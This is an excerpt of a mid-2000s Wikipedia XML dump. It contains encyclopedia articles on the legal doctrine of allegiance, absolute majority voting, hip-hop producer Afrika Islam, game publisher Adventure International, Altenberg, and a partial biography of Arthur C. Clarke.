Allegiance is the tie which binds the subject to the [[Sovereign]] in return for that protection which the Sovereign affords the subject. It was the mutual bond and obligation between the King or Queen and his or her subjects, whereby subjects are called his liege subjects, because they are bound to obey and serve him; and he is called their [[liege]] lord, because he should maintain and defend them (''Ex parte Anderson'' (1861) 3 El &amp; El 487; 121 ER 525; ''China Navigation Co v Attorney-General'' (1932) 48 TLR 375; ''Attorney-General v Nissan'' [1969] 1 All ER 629; ''Oppenheimer v Cattermole'' [1972] 3 All ER 1106). The duty of the Crown towards its subjects is to govern and protect. The reciprocal duty of the subject towards the Crown is that of allegiance. 

At common law allegiance is a true and faithful obedience of the subject due to his Sovereign. As the subject owes to his king his true and faithful allegiance and obedience, so the Sovereign is to govern and protect his subjects, ''regere et protegere subdititos suos'', so as between the Sovereign and subject there is:

*''duplex et reciprocum ligamen; quia sicut subditus regi tenetur ad obedientiam, ita rex subdito tenetur ad protectionem; merito igitur ligeantia dicitur a ligando, quia continet in se duplex ligamen'' (''Calvin's Case'' (1608) 7 Co Rep 1a; Jenk 306; 2 State Tr 559; 77 ER 377). 

Natural allegiance and obedience is an incident inseparable to every subject, for as soon as he or she is born they owe, by birthright, allegiance and obedience to their Sovereign (''Ex parte Anderson'' (1861) 3 El &amp; El 487; 121 ER 525). A natural-born subject owes allegiance wherever he or she may be. Where territory is occupied in the course of hostilities by an enemy's force, even if the annexation of the occupied country is proclaimed by the enemy, there can be no change of allegiance during the progress of hostilities on the part of a citizen of the occupied country (''R v Vermaak'' (1900) 21 NLR 204 (South Africa)). 

Allegiance is owed both to the Sovereign as a natural person  and to the Sovereign in his or her political capacity (''Re Stepney Election Petition, Isaacson v Durant'' (1886) 17 QBD 54 (per Lord Coleridge CJ)). Attachment to the person of the reigning Sovereign is not sufficient. Loyalty requires affection also to the office of the Sovereign, attachment to royalty, attachment to the law and to the constitution of the realm, and he who would, by force or by fraud, endeavour to prostrate that law and constitution, though he may retain his affection for its head, can boast but an imperfect and spurious species of loyalty (''R v O'Connell'' (1844) 7 ILR 261). 

There were four kinds of allegiances (''Rittson v Stordy'' (1855) 3 Sm &amp; G 230; ''De Geer v Stone'' (1882) 22 Ch D 243; ''Isaacson v Durant'' (1886) 54 LT 684; ''Gibson, Gavin v Gibson'' [1913] 3 KB 379; ''Joyce v DPP'' [1946] AC 347; ''Collingwood v Pace'' (1661) O Bridg 410; ''Lane v Bennett'' (1836) 1 M &amp; W 70; ''Lyons Corp v East India Co'' (1836) 1 Moo PCC 175; ''Birtwhistle v Vardill'' (1840) 7 Cl &amp; Fin 895; ''R v Lopez, R v Sattler'' (1858) Dears &amp; B 525; Ex p Brown (1864) 5 B &amp; S 280); 

(a) ''Ligeantia naturalis, absoluta, pura et indefinita'', and this originally is due by nature and birthright, and is called ''alta ligeantia'', and those that owe this are called ''subditus natus''; 
(b) ''Ligeantia acquisita'', not by nature but by acquisition or denization, being called a denizen, or rather denizon, because he or she is ''subditus datus''; 

(c) ''Ligeantia localis'', by operation of law, when a friendly alien enters the country, because so long as he or she is in the country they are within the Sovereign's protection, therefore they owe the Sovereign a local obedience or allegiance (''R v Cowle'' (1759) 2 Burr 834; ''Low v Routledge'' (1865) 1 Ch App 42; ''Re Johnson, Roberts v Attorney-General'' [1903] 1 Ch 821; ''Tingley v Muller'' [1917] 2 Ch 144; ''Rodriguez v Speyer'' [1919] AC 59; ''Johnstone v Pedlar'' [1921] 2 AC 262; ''R v Tucker'' (1694) Show Parl Cas 186; ''R v Keyn'' (1876) 2 Ex  D 63; ''Re Stepney Election Petn, Isaacson v Durant'' (1886) 17 QBD 54);

(d) A legal obedience, where a particular law requires the taking of an oath of allegiance by subject or alien alike.

Natural allegiance was acquired by birth within the Sovereign's dominions (except for the issue of diplomats or of invading forces or of an alien in enemy occupied territory). The natural allegiance and obedience is an incident inseparable to every subject, for as soon as he or she is born they owe by birthright allegiance and obedience to the Sovereign (''Ex p. Anderson'' (1861) 3 E &amp; E 487). A natural-born subject owes allegiance wherever they may be, so that where territory is occupied in the course of hostilities by an enemy's force, even if the annexation of the occupied country is proclaimed by the enemy, there can be no change of allegiance during the progress of hostilities on the part of a citizen of the occupied country (''R v Vermaak'' (1900) 21 NLR 204 (South Africa)). 

Acquired allegiance was acquired by naturalisation or denization. Denization, or ''ligeantia acquisita'', appears to be three-fold (''Thomas v Sorrel'' (1673) 3 Keb 143); 

*(a) absolute, as the common denization, without any limitation or restraint; 
*(b) limited, as when the Sovereign grants letters of denization to an alien, and to the heirs males of his or her body, or to an alien for term of his or her life; 
*(c) It may be granted upon condition, ''cujus est dare, ejus est disponere'', and this denization of an alien may come about three ways: by Parliament; by letters patent, which was the usual manner; and by conquest.

Local allegiance was due by an alien while in the protection of the Crown. All friendly resident aliens incurred all the obligations of subjects (''The Angelique'' (1801) 3 Ch Rob App 7). An alien, coming into a colony also became, temporarily a subject of the Crown, and acquired rights both within and beyond the colony, and these latter rights could not be affected by the laws of that colony (''Routledge v Low'' (1868) LR 3 HL 100; 37 LJ Ch 454; 18 LT 874; 16 WR 1081, HL; ''Reid v Maxwell'' (1886) 2 TLR 790; ''Falcon v Famous Players Film Co'' [1926] 2 KB 474). 

A resident alien owed allegiance even when the protection of the Crown was withdrawn owing to the occupation of an enemy, because the absence of the Crown's protection was temporary and involuntary (''de Jager v Attorney-Geneneral of Natal'' [1907] AC 326). 

Legal allegiance was due when an alien took an oath of allegiance required for a particular office under the Crown. 

By the [[Naturalization Act 1870]], it was made possible for British subjects to renounce their nationality and allegiance, and the ways in which that nationality is lost are defined. So British subjects voluntarily naturalized in a foreign state are deemed aliens from the time of such naturalization, unless, in the case of persons naturalized before the passing of the act, they have declared their desire to remain British subjects within two years from the passing of the act. Persons who from having been born within British territory are British subjects, but who at birth became under the law of any foreign state subjects of such state, and also persons who though born abroad are British subjects by reason of parentage, may by declarations of alienage get rid of British nationality. [[Emigration]] to an uncivilized country leaves British nationality unaffected: indeed the right claimed by all states to follow with their authority their subjects so emigrating is one of the usual and recognized means of [[colonial]] expansion.

==United States==

The doctrine that no man can cast off his native allegiance without the consent of his sovereign was early abandoned in the United States, and on [[July 27]], [[1868]], the day before the [[Fourteenth Amendment to the United States Constitution|Fourteenth Amendment]] was adopted, [[Congress of the United States|U.S. Congress]] declared in the preamble of the [[Expatriation Act]] that &quot;the right of expatriation is a natural and inherent right of all people, indispensable to the enjoyment of the rights of life, liberty and the pursuit of happiness,&quot; and (Section I) one of &quot;the fundamental principles of this government&quot; ([[United States Revised Statutes]], sec. 1999). Every citizen of a foreign state in America owes a double allegiance, one to it and one to the United States. He may be guilty of treason against one or both. If the demands of these two sovereigns upon his duty of allegiance come into conflict, those of the United States have the paramount authority in American law.

==Oath of allegiance==
''Main article: [[oath of allegiance]]''

The oath of allegiance is an [[oath]] of fidelity to the sovereign taken by all persons holding important public office and as a condition of naturalization. By ancient common law it might be required of all persons above the age of twelve, and it was repeatedly used as a test for the disaffected. In [[England]] it was first imposed by statute in the reign of [[Elizabeth I of England]] ([[1558]]) and its form has more than once been altered since. Up to the time of the revolution the promise was, &quot;to be true and faithful to the king and his heirs, and truth and faith to bear of life and limb and terrene [[honour]], and not to know or hear of any ill or damage intended him without defending him
therefrom.&quot; This was thought to favour the doctrine of absolute non-resistance, and accordingly the convention parliament enacted the form that has been in use since that time - &quot;I do sincerely promise and swear that I will be faithful and bear true allegiance to His Majesty ...&quot;

==See also==
* [[Pledge of Allegiance]]

==References==
* The original initial text was from the public domain [[Gutenberg Encyclopedia]]. Please update as needed
* See also Salmond on &quot;Citizenship and Allegiance,&quot; in the ''Law Quarterly Review'' (July 1901, January 1902).

----

'''Allegiance''' is also a [[computer game]] by [[Microsoft Research]].
''See:'' [[Allegiance (computer game)]]

'''Allegiance''' is also an episode of [[Star Trek: The Next Generation]].
''See:'' [[Allegiance (TNG episode)]]
[[de:Loyalität]]
[[es:lealtad]]

[[Category:Nationalism]]</text>
    </revision>
  </page>
  <page>
    <title>Absolute majority</title>
    <id>882</id>
    <revision>
      <id>24233840</id>
      <timestamp>2005-09-28T14:12:46Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
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      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''Absolute majority''' is a [[supermajority|supermajoritarian]] [[voting]] requirement which is stricter than a [[simple majority]]. It means that more than half of ''all'' the members of a group, including those absent and those present but not voting, must [[vote]] in favour of a proposition in order for that proposition to be passed.

As an example, let's say that a member of a club of 100 members proposes a new [[bylaw]]. According to the club's practice, for the bylaw to pass, it requires an absolute majority.  The results of the vote are 40 yes votes and 30 no votes.  The rest of the voters either abstained or did not vote.  Even though this arrangement is a [[simple majority]], since an absolute majority for the club is 51 members, the proposed bylaw fails.

Absolute majority voting is most often used to pass changes to constitutions or to [[bylaw]]s in order to ensure that there is affirmative support for a proposal. Most voting decisions require a [[simple majority]] or even just a [[plurality]].

==Examples of absolute majority voting==
From 2005, an absolute majority of the electorate in addition to a three-fourths vote of the [[legislature]] is necessary to pass amendments to the [[Constitution of the Republic of China]] on [[Taiwan]] as well as to ratify a [[referendum]]. The requirement of an absolute majority rather than a simple majority effectively gives both major political blocs the power to veto a referendum or constitutional amendment.

In the [[politics of the European Union]], any decision taken using the [[codecision procedure]] requires an absolute majority in [[European Parliament]] in order to amend a text in its second reading. (At first reading, only a [[simple majority]] is required.)

==See also==
* [[List of democracy and elections-related topics]]
[[Category:Elections]]
[[Category:Voting theory]]

[[es:Mayoría absoluta]]</text>
    </revision>
  </page>
  <page>
    <title>Afrika Islam</title>
    <id>883</id>
    <revision>
      <id>40280861</id>
      <timestamp>2006-02-19T13:49:59Z</timestamp>
      <contributor>
        <username>Urthogie</username>
        <id>106482</id>
      </contributor>
      <minor />
      <comment>minor</comment>
      <text xml:space="preserve">'''Afrika Islam''', born '''Charles Glenn''', and known also as the '''Son of [[Afrika Bambaataa|Bambaataa]],''' is a [[hip hop production|hip-hop producer]]. He left [[New York]] for [[Los Angeles]] and went on to co-produce most of [[Ice T]]'s early albums, namely ''[[Rhyme Pays]]'' and ''Power''; the latter is deemed to be Ice's finest effort by some aficionados. In the late [[1990s]], Afrika Islam joined German [[techno music|techno]] icon [[Westbam]] to form [[Mr. X and Mr. Y]], a techno duo that made commercial techno with [[Electro (music)|Electro]] influences. &quot;Back to Berlin&quot; quotes from the Old School rap classic &quot;New York New York&quot; by [[Grandmaster Flash]].

[[Category:Hip hop producers|Islam, Afrika]]

[[als:Afrika Islam]]
[[de:Afrika Islam]]</text>
    </revision>
  </page>
  <page>
    <title>Adventure International</title>
    <id>884</id>
    <revision>
      <id>38699696</id>
      <timestamp>2006-02-08T01:24:46Z</timestamp>
      <contributor>
        <username>Deadcujo</username>
        <id>708381</id>
      </contributor>
      <minor />
      <comment>Hyphenation and capitalisation of &quot;Spider-Man&quot;.</comment>
      <text xml:space="preserve">'''Adventure International''' was a [[Computer and video games|video game]] publishing company that existed from 1978 until 1985, started by Scott and Alexis Adams. Their games were notable for being the first implementation of the adventure genre to run on a microcomputer system. The adventure game concept originally came from [[Colossal Cave Adventure]] which ran strictly on large mainframe systems at the time.

After the success of their first game &quot;Adventureland&quot;, games followed rapidly, with Adventure International (or &quot;AI&quot;) releasing about two games a year. Initially the games were drawn from the founders imagination, with themes ranging from [[fantasy]] to [[Horror fiction|horror]] and sometimes [[science fiction]]. Some of the later games were written by Scott Adams and other collaborators. Adventure Internationals' games became known for quality, with a reputation only exceeded in the field at the time by [[Infocom]].

Fourteen games later, Adventure International began to release games drawn from film and fiction. The extremely rare Buckaroo Banzai game, developed with Phillip Case, was based on the film [[The Adventures of Buckaroo Banzai Across the Eighth Dimension]] ([[1984]]). Other games came from a more well known source: [[Marvel Comics]]. Adventure International released three games based on the Marvel characters: &quot;The Incredible Hulk&quot;, &quot;Spider-Man&quot; and &quot;Torch and the Thing&quot;. 

By the end of [[1982]], game tastes were changing. The traditional text-based [[adventure game]] market had moved to graphical based adventures.  Games like [[The Hobbit (video game)|The Hobbit]] had increased expectations of such games, and although Adventure International games included graphics of a sort, they were significantly inferior to contemporary offerings at the time and the company was rapidly losing [[market share]].

Adventure International went [[bankruptcy|bankrupt]] in [[1985]]. The [[copyright]]s for its games reverted to the bank and eventually back to Scott Adams who released them as [[shareware]].  At its peak in late 1983 to early 1984 Adventure International employed approximately 50 individuals, and published titles from over 300 independent programmer/authors.

In [[Europe]] the &quot;Adventure International&quot; name was a trading name of [[AdventureSoft]] and other games were released under the name that were not from Adventure International in the [[United States|USA]].

Alexis Adams has remained in the online world and runs the online sex site FatFantasy.net[http://www.fatfantasy.net] .

Scott Adams can be reached through his homepage at www.msadams.com[http://www.msadams.com]

==The Games==
Scott Adams's original twelve adventure games were
* ''Adventureland'',
* ''Pirate Adventure'' (also called ''Pirate's Cove''),
* ''Secret Mission'' (originally called ''Mission Impossible''),
* ''Voodoo Castle'',
* ''The Count'',
* ''Strange Odyssey'',
* ''Mystery Fun House'',
* ''Pyramid of Doom'',
* ''Ghost Town'',
* ''Savage Island'' parts I &amp;amp; II, and
* ''The Golden Voyage''.

==External links==

* [http://www.freearcade.com/Zplet.jav/Scottadams.html Play Scott Adams games in your web browser]
* [http://www.if-legends.org/~adventure/Adventure_International/Classic.html IF Legends, detailed guide to Scott Adams Classic Adventures]
* [http://dmoz.org/Games/Video_Games/Developers_and_Publishers/A/Adventure_International/ Category at Open Directory]

[[Category:Defunct computer and video game companies]]</text>
    </revision>
  </page>
  <page>
    <title>Altenberg</title>
    <id>885</id>
    <revision>
      <id>33133851</id>
      <timestamp>2005-12-29T16:24:02Z</timestamp>
      <contributor>
        <username>Keithlaw</username>
        <id>171631</id>
      </contributor>
      <minor />
      <comment>+dab tag</comment>
      <text xml:space="preserve">'''Altenberg''' may refer to:
* [[Peter Altenberg]], an Austrian writer and poet
* [[Vieille Montagne]] (German name &quot;Altenberg&quot;), a former zinc mine in Kelmis
* [[Altenberg, Germany]], a city in [[Saxony]], Germany
* [[Altenberg, Austria]], a municipality in Austria near Vienna, on site the family mansion of [[Konrad Lorenz]]

[[de:Altenberg]]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Arthur C. Clarke</title>
    <id>886</id>
    <revision>
      <id>41754796</id>
      <timestamp>2006-03-01T14:37:32Z</timestamp>
      <contributor>
        <username>Syrthiss</username>
        <id>334792</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/167.206.233.170|167.206.233.170]] ([[User talk:167.206.233.170|talk]]) to last version by Jason One</comment>
      <text xml:space="preserve">[[Image:Arthur C. Clarke.jpg|thumb|200px|Arthur C. Clarke]]

'''Sir Arthur Charles Clarke''' (born [[December 16]] [[1917]]) is the [[United Kingdom|British]] [[author]] and [[inventor]], most famous for his [[science-fiction]] novel ''[[2001: A Space Odyssey (novel)|2001: A Space Odyssey]]'', and for collaborating with director [[Stanley Kubrick]] on the film of the same name.  Clarke is considered one of the Big Three of science fiction, along with [[Robert A. Heinlein]] and [[Isaac Asimov]]; he is the only one still alive. 

==''2001: A Space Odyssey''== was written concurrently with the [[2001: A Space Odyssey (film)|film version]] by [[Stanley Kubrick]]. It was loosely inspired by Clarke's short story &quot;[[The Sentinel (short story)|The Sentinel]]&quot;, but became its own novel while he was collaborating on a screenplay with Kubrick.  Kubrick approached Clarke about writing a novel for the express purpose of making &quot;the proverbial good science-fiction movie&quot;, and the novel was still being written while the film was being made.  This resulted in one of the truly unique collaborations in media history.

Clarke has written numerous other books, including the [[Rendezvous with Rama|Rama]] novels and several sequels to ''2001'', and many short stories, including &quot;[[The Star]]&quot;, about a Jesuit priest's spiritual dilemma.

An [[asteroid]] is named in Clarke's honour, [[4923 Clarke]], as is a species of [[Ceratopsian]] [[dinosaur]], ''[[Serendipaceratops arthurcclarkei]]'', discovered in [[Inverloch, Victoria|Inverloch]] in [[Australia]]. The [[2001 Mars Odyssey]] orbiter is named in honor of Sir Arthur's works.

In the [[1940s]] he forecast that man would reach the [[Moon landing|moon]] by the year [[2000]], an idea experts dismissed as rubbish. When [[Neil Armstrong]] landed in [[1969]], the United States said Clarke &quot;provided the essential intellectual drive that led us to the moon.&quot; ([http://today.reuters.co.uk/news/newsArticleSearch.aspx?storyID=221763+14-Nov-2005+RTRS&amp;srch=clarke] [http://www.taborcommunications.com/archives/3047.html])

He lives in [[Sri Lanka]], and survived the [[tsunami]]s of the [[2004 Indian Ocean earthquake]], but lost his diving school on [[Hikkaduwa]] ([http://sify.com/news/fullstory.php?id=13638567] [http://thestar.com.my/news/story.asp?file=/2004/12/30/latest/20462ArthurC&amp;sec=latest]). Clarke holds citizenship of both the [[UK]] and [[Sri Lanka]] [http://www.sundayobserver.lk/2005/12/11/new27.html].

==Biography==
Clarke was born in [[Minehead]] in [[Somerset]], [[England]], and as a boy enjoyed stargazing and enthusiastically read old American science-fiction magazines (many of which made their way to England as ballast in ships).  After secondary school, and studying at [[Richard Huish College, Taunton]] he was unable to afford a university education and consequently acquired a job as an auditor in the pensions section of the Board of Education.

During the [[World War II|Second World War]], he served in the [[Royal Air Force]] as a [[radar]] specialist and was involved in the early warning radar defense system which contributed to the RAF's success during the [[Battle of Britain]].  He retired in the rank of [[Flight Lieutenant]].  After the war, he obtained a first class [[academic degree|degree]] in mathematics and physics at [[King's College London]].

His most important contribution may be the idea that [[geostationary satellite]]s would be ideal [[telecommunication]]s relays. He proposed this concept in a paper titled &quot;[http://www.lsi.usp.br/~rbianchi/clarke/ACC.ETRelaysFull.html Extra-Terrestrial Relays] - Can Rocket Stations Give Worldwide Radio Coverage?&quot;, published in ''[[Wireless World]]'' in October [[1945]]. The [[geostationary orbit]] is now sometimes known as the Clarke orbit in his honour.  However, it is not clear that his article was actually the inspiration for modern telecommunications satellites.  [[John R. Pierce]], of [[Bell Labs]], arrived at the idea independently in 1954, and he was actually involved in the [[Echo satellite]] and [[Telstar]] projects. However, Pierce stated that the idea was &quot;in the air&quot; at the time and certain to be developed regardless of Clarke's publication.

Clarke's first professional sale was in [[1946]] to ''[[Astounding Science Fiction]]'', the still memorable short story &quot;Rescue Party&quot;.  Along with his writing, Clarke worked briefly as Assistant Editor of ''[[Science Abstracts]]'' ([[1949]]) before devoting himself to writing full-time from 1951. Clarke also contributed to the ''[[Dan Dare]]'' series and his first three published novels were for a juvenile audience.  He has been chairman of the [[British Interplanetary Society]] and a member of the [[Underwater Explorers Club]]. His work is marked by its optimistic view of science empowering mankind's exploration of the solar system and an obvious influence was the work of [[Olaf Stapledon]]. 

In [[1951]], he wrote &quot;The Sentinel&quot; for a [[BBC]] competition. Though the story was rejected, it changed the course of Clarke's career. Not only the basis for ''2001'', ''The Sentinel'' introduced a more mystical and cosmic element to Clarke's work. Many of Clarke's later works feature a technologically advanced but prejudiced mankind being confronted by a superior alien intelligence. In the cases of ''[[The City and the Stars]]'', ''[[Childhood's End]]'', and the ''2001'' series, this encounter produces a conceptual breakthrough that accelerates humanity into the next stage of its evolution.

He has lived in [[Sri Lanka]] since [[1956]], immigrating when it was still called [[Ceylon]], first in [[Unawatuna]] on the south coast, and then in [[Colombo]]. This inspired the locale for his novel ''[[The Fountains of Paradise]]'', in which he describes a [[space elevator]]. This, he figures, will ultimately be his legacy, more so than [[geostationary satellite]]s, once space elevators make space shuttles obsolete.

Early in his career, Clarke had a fascination with the [[paranormal]], and has stated that it was part of the inspiration for his novel ''Childhood's End''. He has also said that he was one of several who were fooled by a [[Uri Geller]] demonstration at [[Birkbeck, University of London|Birkbeck College]]. Although he has long since dismissed and distanced himself from nearly all [[pseudoscience]], he still advocates for research into purported instances of [[psychokinesis]] and other similar phenomena.

Following the release of ''2001'', Clarke became much in demand as a commentator on science and technology, especially at the time of the [[Apollo space program]]. He also signed a three-book publishing deal, a record  for a science fiction writer. The first of the three was ''[[Rendezvous with Rama]]'' in [[1973]], which won him all the main genre awards and has spawned sequels that, along with the ''2001'' series, formed the backbone of Clarke's later career.

In [[1975]], his short story ''The Star'' was not included as prose in a new high school [[English Language|English]] textbook in [[Sri Lanka]], because it was felt that it might offend [[Roman Catholics]], although it had been selected. The textbook caused controversy because it replaced [[Shakespeare]]'s work with that of [[Bob Dylan]], [[John Lennon]] and [[Isaac Asimov]].

Clarke is also well known to many for his television programmes ''[[Arthur C. Clarke's Mysterious World]]'' ([[1981]]) and ''[[Arthur C. Clarke's World of Strange Powers]]'' ([[1984]]).

In [[1986]], Clarke provided a grant to fund the prize money (initially £1,000) for the [[Arthur C. Clarke Award]] for the best science fiction novel published in Britain in the previous year. In [[2001]] the prize was increased to £2001, and its value now matches the year (i.e., £2005 in [[2005]]).

In [[1988]], he was diagnosed with [[post-polio syndrome]] and has since needed to use a wheelchair.

His [[British honours system|knighthood]] was first announced in [[1998]], but then the British [[tabloid]] ''[[The Daily Mirror|The Sunday Mirror]]'' published accusations of [[pedophilia|paedophilia]] against him ([http://news.bbc.co.uk/2/hi/52598.stm]). The award was delayed while the allegations were investigated, although by [[2000]] the BBC reported that he had been cleared ([http://news.bbc.co.uk/2/hi/south_asia/765385.stm]). Clarke's health did not allow him to travel to [[London]] to receive the honour personally from the [[Elizabeth II of the United Kingdom|Queen]], so the UK [[High Commissioner]] to [[Sri Lanka]] awarded him the title of [[Knight Bachelor]] at a ceremony in [[Colombo]].

He is currently the Honorary Board Chair of the [[Institute for Cooperation in Space]], founded by [[Carol Rosin]] and on the [[Board of Governors]] of the [[National Space Society]], a [[space advocacy]] organization originally founded by Dr. [[Wernher von Braun]].

He was the first Chancellor of the [[International Space University]], serving from [[1989]] to [[2004]] and Chancellor of [[Moratuwa University]], [[Sri Lanka]], from [[1979]] to [[2002]].

In [[2005]] he lent his name to the first ever annual [http://www.clarkeawards.org Sir Arthur Clarke Awards] - dubbed &quot;the Oscars for Space&quot;.  His brother attended the awards ceremony, and presented an award specially chosen by Arthur (and not by the panel of judges who chose the other awards).

On [[14 November]] [[2005]] Sri Lanka awarded Arthur C. Clarke its highest civilian award, the Lankabhimanaya ''(Pride of Lanka)'' award, for his contributions to science and technology and his commitment to his adopted country.

==Partial Bibliography==
===Novels===
* ''[[Prelude to Space]]'' (1951)
* ''[[The Sands of Mars]]'' (1951)
* ''[[Islands in the Sky]]'' (1952)
* ''[[Against the Fall of Night]]'' (1953)
* ''[[Childhood's End]]'' (1953)
* ''[[Earthlight]]'' (1955)
* ''[[The City and the Stars]]'' (1956)
* ''[[The Deep Range]]'' (1957)
* ''[[A Fall of Moondust]]'' (1961)
* ''[[Dolphin Island]]'' (1963)
* ''[[Glide Path]]'' (1963)
* ''[[2001:_A_Space_Odyssey_(novel)|2001: A Space Odyssey]]'' (1968)
* ''[[The Lion of Comarre &amp; Against the Fall of Night]]'' (1968)
* ''[[Report on Planet Three]]'' (1972)
* ''[[Rendezvous with Rama]]'' (1973)
* ''[[Imperial Earth]]'' (1975)
* ''[[The Fountains of Paradise]]'' (1979)
* ''[[2010: Odyssey Two]]'' (1982)
* ''[[The Songs of Distant Earth]]'' (1986)
* ''[[2061: Odyssey Three]]'' (1988)
* ''[[A Meeting With Medusa]]'' (1988)
* ''[[Cradle (book)|Cradle]]'' (1988, with [[Gentry Lee]])
* ''[[Rama II]]'' (1989, with [[Gentry Lee]])
* ''[[Beyond the Fall of Night]]'' (1990, [[Gregory Benford]])
* ''[[The Ghost from the Grand Banks]]'' (1990)
* ''[[The Garden of Rama]]'' (1991, with [[Gentry Lee]])
* ''[[Rama Revealed]]'' (1993, with [[Gentry Lee]])
* ''[[The Hammer of God]]'' (1993)
* ''[[Richter 10]]'' (1996, with [[Mike McQuay]])
* ''[[3001: The Final Odyssey]]'' (1997)
* ''[[The Trigger]]'' (1999, with [[Michael P. Kube-McDowell]])
* ''[[The Light of Other Days]]'' (2000, with [[Stephen Baxter]])
* ''[[Time's Eye]]'' (2004, with Stephen Baxter)
* ''[[Sunstorm (novel)|Sunstorm]]'' (2005, with Stephen Baxter)
* ''[[The Last Theorem]]'' (2005)

===Omnibus editions===
* ''[[Across the Sea of Stars]]'' (1959, including ''Childhood's End'', ''Earthlight'' and 18 short stories)
* ''[[From the Ocean, From the Stars]]'' (1962, including ''The City and the Stars'', ''The Deep Range'' and ''The Other Side of the Sky'')
* ''[[An Arthur C. Clarke Omnibus]]'' (1965, including ''Childhood's End'', ''Prelude to Space'' and ''Expedition to Earth'')
* ''[[Prelude to Mars]]'' (1965, including ''Prelude to Space'' and ''The Sands of Mars'')
* ''[[An Arthur C. Clarke Second Omnibus]]'' (1968, including ''A Fall of Moondust'', ''Earthlight'' and ''The Sands of Mars'')
* ''[[Four Great SF Novels]]'' (1978, including ''The City and the Stars'', ''The Deep Range'', ''A Fall of Moondust'', ''Rendezvous with Rama'')
* ''[[The Space Trilogy]]'' (2001, including ''Islands in the Sky'', ''Earthlight'' and ''The Sands of Mars'')
[[Image:Startling Stories.jpg|thumb|200px|right|''[[Against the Fall of Night]]'' in ''[[Startling Stories]]''.]]

===Short story collections===
* ''[[Expedition to Earth]]'' (1953)
* ''[[Reach for Tomorrow]]'' (1956)
* ''[[Tales from the White Hart]]'' (1957)
* ''[[The Other Side of the Sky]]'' (1958)
* ''[[Tales of Ten Worlds]]'' (1962) 
* ''[[The Nine Billion Names of God]]'' (1967) 
* ''[[Of Time and Stars]]'' (1972) 
* ''[[The Wind from the Sun]]'' (1972) 
* ''[[The Best of Arthur C. Clarke]]'' (1973) 
* ''[[The Sentinel (short story)|The Sentinel]]'' (1983)
* ''[[Tales From Planet Earth]]'' (1990)
* ''[[More Than One Universe]]'' (1991) 
* ''[[The Collected Stories of Arthur C. Clarke]]'' (2000)

===Non-fiction===
*''Profiles of the Future'' (1962, subtitled &quot;An Enquiry into the Limits of the Possible&quot;) 
*''[[The Snows of Olympus - A Garden on Mars]]'' (1994, picture album with comments]
*''[[Ascent to Orbit]]'' is what he calls his scientific autobiography 
*''[[Astounding Days]]'' his science-fictional autobiography
*''[[The coming of the Space Age; famous accounts of man's probing of the universe]]'', selected and edited by Arthur C. Clarke.
*''[[The Coast of Coral]]'' with photographs by Mike Wilson and Arthur C. Clarke, volume 1 of the ''Blue planet trilogy''
*''[[How the World Was One: Beyond the Global Village]].   A history and survey of the communications revolution published in 1992.
*''[[Greetings, carbon-based bipeds!]]''  collected essays, 1934-1998
*''[[Man and space]]''
*''[[Report on Planet Three and other speculations]]''
*''[[The promise of space]]''

==Themes, style, and influence==
Clarke's early published stories would usually feature the extrapolation of a technological innovation or scientific breakthrough that assists the resolution of a human dilemma. The first manned mission to the moon (''[[Prelude to Space]]''), the colonization of [[Mars]] (''[[The Sands of Mars]]'') and life aboard a space station (''[[Islands in the Sky]]'') were all genre SF mainstays. Clarke's background as a technical writer showed in the early novels as a deliberate documentary style, and his characters reflect Clarke's experience by being mostly  military or civil service types. Despite this, Clarke's style was open to humour and a degree of whimsy which salted its propagandist tone regarding scientific advancement with a sting in the tail.

A recurring type of character is found in ''[[The Lion of Comarre]]'', ''[[The City and the Stars]]'', ''[[The Road to the Sea]]'', and other works. A young man in a superficially [[utopian]] society becomes dissatisfied and restless and seeks to expand his horizons, thereby discovering the underlying decadence of his own society.

''The Sentinel'' introduced a religious theme to Clarke's work. His interest in the paranormal was influenced by [[Charles Fort]] and embraced the belief that mankind may be the property of an ancient alien civilization. Surprisingly for a writer who is often held up as an example of hard science fiction's obsession with technology, three of Clarke's novels have this as a theme.

==The adapted screenplays of Arthur C. Clarke==
===''2001: A Space Odyssey''===  
Clarke's first venture into film was the Stanley Kubrick-directed ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]''. Kubrick and Clarke had met in [[1964]] to discuss the possibility of a collaborative film project. As the idea developed, it was decided that the story for the film was to be loosely based on Clarke's short story &quot;The Sentinel&quot;, written in [[1948]] as an entry in a BBC short story competition.  Originally, Clarke was going to write the screenplay for the film, but this proved to be more tedious than he had estimated. Instead, Kubrick and Clarke decided it would be best to write a novel first and then adapt it for the film upon its completion. However, as Clarke was finishing the book, the screenplay was also being written simultaneously.

Due to the hectic schedule of the film's production, Kubrick and Clarke had difficulty collaborating on the book. Clarke completed a draft of the novel at the end of [[1964]] with the plan to publish the novel in [[1965]] in advance of the film's release in [[1966]]. After many delays the film was released in the spring of [[1968]], before the book was completed. It was credited to Clarke alone. Clarke later complained that this had the effect of making the book into a novelisation, that Kubrick had manipulated circumstances to downplay his authorship. For these and other reasons, the details of the story differ slightly from the book to the movie. The film is a bold artistic piece with little explanation for the events taking place. Clarke, on the other hand, wrote thorough explanations of &quot;cause and effect&quot; for the events in the novel. Despite their differences, both film and novel were well received. [http://www.boxofficemojo.com/movies/?id=2001.htm] [http://movies.go.com/moviesdynamic/movies/movie?id=479433] [http://www.amazon.com/exec/obidos/search-handle-url/index%3Ddvd%2526field-keywords%3Dspace%2520odyssey%2526results-process%3Ddefault%2526dispatch%3Dsearch/ref%3Dpd%5Fsl%5Fov%5Ftops-1%5Fdvd%5F4138659%5F1/104-5000595-8600727]

In [[1972]] Clarke published ''The Lost Worlds of 2001'', which included his account of the production and alternate versions of key scenes. The &quot;special edition&quot; of the novel ''[[2001: A Space Odyssey (novel)| A Space Odyssey]]'' (released in [[1999]]) contains an introduction by Clarke, documenting his account of the events leading to the release of the novel and film.

===''2010: The Year We Make Contact''===  
In [[1982]] Clarke continued the ''2001'' epic with a sequel, ''[[2010: Odyssey Two]]''. This novel was also made into a film, ''[[2010: The Year We Make Contact]]'', directed by [[Peter Hyams]] for release in [[1984]]. Due to the political environment in America in the 1980s, the novel and film present a Cold War theme, with the looming tensions of nuclear war. The film was not considered to be as revolutionary or artistic as ''2001'', but the reviews were still positive and it has earned over 40 million dollars since its release in North America. [http://www.boxofficemojo.com/movies/?id=2010.htm]

